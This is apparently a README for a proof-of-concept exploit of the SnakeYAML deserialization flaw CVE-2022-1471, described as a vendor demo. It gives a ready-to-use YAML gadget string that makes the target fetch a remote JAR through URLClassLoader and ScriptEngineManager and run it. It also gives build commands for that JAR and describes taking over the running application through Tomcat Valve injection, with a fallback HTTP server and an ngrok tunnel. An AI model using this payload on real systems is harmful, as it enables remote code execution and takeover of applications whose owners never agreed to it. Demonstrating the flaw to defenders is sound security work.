
SnakeYAML CVE-2022-1471 exploit payload for Seal Security demos
A SnakeYAML deserialization exploit payload for CVE-2022-1471, adapted from artsploit/yaml-payload (originally based on mbechler/marshalsec).
When loaded via SnakeYAML's unsafe Yaml.load(), this payload takes over the running application and replaces it with a "You've Been PWNED" page:
If Tomcat Valve injection isn't available (e.g. non-Spring app), it falls back to starting a standalone HTTP server on port 9999 and auto-creates an ngrok tunnel if ngrok is running.
This works both locally on macOS and in CI/CD pipelines (e.g. GitHub Actions on Ubuntu).
The SnakeYAML payload triggers ScriptEngineManager via the Java SPI (Service Provider Interface):
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
java.net.URL pointing to this repo's yaml-payload.jarURLClassLoader to load remote classesScriptEngineManager discovers and loads AwesomeScriptEngineFactory via META-INF/services/javax.script.ScriptEngineFactory/ with the PWNED pageRequires JDK 17+:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
Used as the exploit payload in the maven-demo project. Paste the payload string into the app's name field to trigger RCE. The app's page will be replaced with the PWNED page on the next request. See that repo's README for full demo instructions.